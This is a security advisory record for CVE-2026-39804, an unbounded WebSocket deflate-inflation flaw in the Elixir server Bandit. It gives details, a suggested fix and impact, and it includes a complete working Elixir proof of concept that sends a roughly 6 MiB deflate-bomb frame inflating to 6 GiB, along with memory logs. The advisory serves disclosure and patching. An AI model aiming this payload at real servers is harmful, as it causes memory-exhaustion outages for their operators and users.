CVE-2026-39804: Bandit Bandit's Unbounded WebSocket Inflate Causes Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-frh3-6pv6-rc8j",
  "modified" : "2026-05-07T03:36:13Z",
  "published" : "2026-05-07T03:36:13Z",
  "aliases" : [ "CVE-2026-39804" ],
  "summary" : "Bandit's unbounded WebSocket inflate causes BEAM OOM with a single frame",
  "details" : "### Summary\n\nWhen a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (`compress: true`), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are **not** vulnerable by default — they ship with `compress: false`. Affected apps are those that have deliberately opted in to permessage-deflate.\n\n### Details\n\nIn `lib/bandit/websocket/permessage_deflate.ex:111-115`, `:zlib.inflate/2` is called without an output-size limit, and `IO.iodata_to_binary/1` then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.\n\n`websocket_options.max_frame_size` only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no `{:more, ...}` resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.\n\nThe bug is gated by two server-side flags being true at the same time:\n\n- Bandit's global `websocket_options.compress` (defaults to `true` per `bandit.ex:198-201`).\n- The per-upgrade `connection_opts.compress` passed to `WebSockAdapter.upgrade/4` (defaults to `false` per `websock_adapter.ex:42-43`; Phoenix's default is also `false` per `phoenix/lib/phoenix/transports/websocket.ex:33`).\n\nBoth must be true for the handshake at `bandit/lib/bandit/websocket/handshake.ex:22` to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. `socket \"/ws\", MySocket, websocket: [compress: true]` in a Phoenix endpoint, or `WebSockAdapter.upgrade(conn, ..., compress: true)` in a plain Plug app).\n\n**Suggested fix:** thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via `:length`.\n\n### PoC\n\nA fully self-contained reproducer is attached below. It boots a local Bandit server that performs a `WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true)`, opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with `elixir ws_permessage_deflate_bomb.exs`.\n\nObserved on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):\n\n- Frame on the wire: ~6 MiB.\n- BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by `IO.iodata_to_binary/1`), then settled at ~6 GiB until the connection process was GC'd.\n- Tuning `@target_decompressed_bytes` upward, or opening N parallel connections, OOM-kills the BEAM outright.\n\nA separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented `max_frame_size` default is `0` (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.\n\n### Impact\n\nUnauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.\n\nAffected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are **not** affected — both default to `compress: false`. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.\n\n```elixir\n# Bandit WebSocket permessage-deflate bomb PoC.\n#\n# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2\n# with no output-size cap. A small (~4 MiB) compressed frame inflates to\n# multiple GiB on the BEAM heap before any application code sees it.\n#\n# Note: in the default setup something upstream caps wire-side frames at\n# ~8 MiB even though Bandit's documented max_frame_size default is 0\n# (unlimited). The bug is reachable below that cap regardless.\n#\n# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs\n\nMix.install([\n  {:bandit, \"~> 1.10\"},\n  {:plug, \"~> 1.19\"},\n  {:websock_adapter, \"~> 0.5\"}\n])\n\ndefmodule EchoSocket do\n  @behaviour WebSock\n\n  def init(_opts), do: {:ok, %{}}\n  def handle_in(_message, state), do: {:ok, state}\n  def handle_info(_message, state), do: {:ok, state}\n  def terminate(_reason, state), do: {:ok, state}\nend\n\ndefmodule DemoApp do\n  @behaviour Plug\n  def init(opts), do: opts\n  def call(conn, _opts) do\n    conn\n    |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)\n    |> Plug.Conn.halt()\n  end\nend\n\ndefmodule Bomb do\n  @port 4321\n  # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap).\n  @target_decompressed_bytes 6 * 1024 * 1024 * 1024\n  @plaintext_chunk_bytes 10 * 1024 * 1024\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    sock = ws_handshake!()\n    deflate_payload = build_deflate_bomb()\n    frame = compressed_text_frame(deflate_payload)\n\n    sampler_pid = spawn_link(&sample_memory_loop/0)\n\n    log(\"Sending #{byte_size(frame)}-byte compressed frame…\")\n    :ok = :gen_tcp.send(sock, frame)\n    handle_recv(sock)\n\n    Process.unlink(sampler_pid)\n    Process.exit(sampler_pid, :kill)\n    :gen_tcp.close(sock)\n    log(\"Done.\")\n  end\n\n  # Open a TCP connection and complete the WebSocket handshake with\n  # permessage-deflate. Raises if the server doesn't negotiate it.\n  defp ws_handshake! do\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()\n\n    :ok =\n      :gen_tcp.send(sock, \"\"\"\n      GET / HTTP/1.1\\r\n      Host: 127.0.0.1\\r\n      Upgrade: websocket\\r\n      Connection: Upgrade\\r\n      Sec-WebSocket-Key: #{ws_key}\\r\n      Sec-WebSocket-Version: 13\\r\n      Sec-WebSocket-Extensions: permessage-deflate\\r\n      \\r\n      \"\"\")\n\n    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n    if not (response =~ \"permessage-deflate\"), do: raise(\"permessage-deflate not negotiated:\\n#{response}\")\n    log(\"Handshake complete.\")\n    sock\n  end\n\n  # Stream-deflate @target_decompressed_bytes worth of zeros so the client\n  # never holds the full plaintext at once. RFC 7692 uses raw deflate\n  # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which\n  # we strip per the spec.\n  defp build_deflate_bomb do\n    chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes)\n    chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)\n    log(\"Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…\")\n\n    zstream = :zlib.open()\n    :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)\n    deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :none) end)\n    final_flush = :zlib.deflate(zstream, <<>>, :sync)\n    :zlib.close(zstream)\n\n    deflated = IO.iodata_to_binary([deflated_chunks, final_flush])\n    trailer_size = byte_size(deflated) - 4\n    <<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated\n\n    log(\"Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).\")\n    payload\n  end\n\n  # Wrap payload in a single masked WebSocket text frame with RSV1 set\n  # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).\n  defp compressed_text_frame(payload) do\n    mask = :crypto.strong_rand_bytes(4)\n    payload_size = byte_size(payload)\n    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)\n    masked_payload = :crypto.exor(payload, mask_stream)\n\n    length_bytes =\n      cond do\n        payload_size <= 125 -> <<1::1, payload_size::7>>\n        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>\n        true -> <<1::1, 127::7, payload_size::64>>\n      end\n\n    <<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary>>\n  end\n\n  # EchoSocket.handle_in/2 doesn't reply, so recv times out after the\n  # observation window. That's enough to watch the BEAM heap spike.\n  defp handle_recv(sock) do\n    case :gen_tcp.recv(sock, 0, 5_000) do\n      {:ok, <<0x88, _len, close_code::16, close_reason::binary>>} ->\n        log(\"Close frame: code=#{close_code} reason=#{inspect(close_reason)}\")\n\n      {:ok, bytes} ->\n        log(\"Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}\")\n\n      {:error, :timeout} ->\n        log(\"recv timed out (server held the inflated payload silently).\")\n\n      {:error, reason} ->\n        log(\"Connection closed: #{inspect(reason)}\")\n    end\n  end\n\n  defp sample_memory_loop do\n    log(\"[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB\")\n    Process.sleep(250)\n    sample_memory_loop()\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}\")\nend\n\nBomb.run()\n```\n\n#### Logs\n\n```\n10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[08:15:24.269] Handshake complete.\n[08:15:24.321] Deflating 6144 MiB plaintext…\n[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).\n[08:15:37.581] Sending 6257689-byte compressed frame…\n[08:15:37.582] [mem] BEAM total = 76 MiB\n[08:15:37.834] [mem] BEAM total = 759 MiB\n[08:15:38.087] [mem] BEAM total = 1480 MiB\n[08:15:38.338] [mem] BEAM total = 2214 MiB\n[08:15:38.589] [mem] BEAM total = 2724 MiB\n[08:15:38.840] [mem] BEAM total = 3410 MiB\n[08:15:39.091] [mem] BEAM total = 3877 MiB\n[08:15:39.342] [mem] BEAM total = 4268 MiB\n[08:15:39.593] [mem] BEAM total = 4815 MiB\n[08:15:39.845] [mem] BEAM total = 5270 MiB\n[08:15:40.096] [mem] BEAM total = 5766 MiB\n[08:15:40.347] [mem] BEAM total = 12451 MiB\n[08:15:40.598] [mem] BEAM total = 12452 MiB\n[08:15:40.850] [mem] BEAM total = 12452 MiB\n[08:15:41.101] [mem] BEAM total = 12452 MiB\n[08:15:41.353] [mem] BEAM total = 12452 MiB\n[08:15:41.606] [mem] BEAM total = 12451 MiB\n[08:15:41.856] [mem] BEAM total = 6229 MiB\n[08:15:42.107] [mem] BEAM total = 6229 MiB\n[08:15:42.358] [mem] BEAM total = 6229 MiB\n[08:15:42.582] recv timed out (server held the inflated payload silently).\n[08:15:42.584] Done.\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "bandit"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.5.8"
      }, {
        "fixed" : "1.11.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39804"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mtrudel/bandit/commit/8156921a51e684a951221da7bc30a70a022f722e"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-39804.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mtrudel/bandit"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-39804"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T03:36:13Z",
    "nvd_published_at" : "2026-05-01T21:16:16Z"
  }
}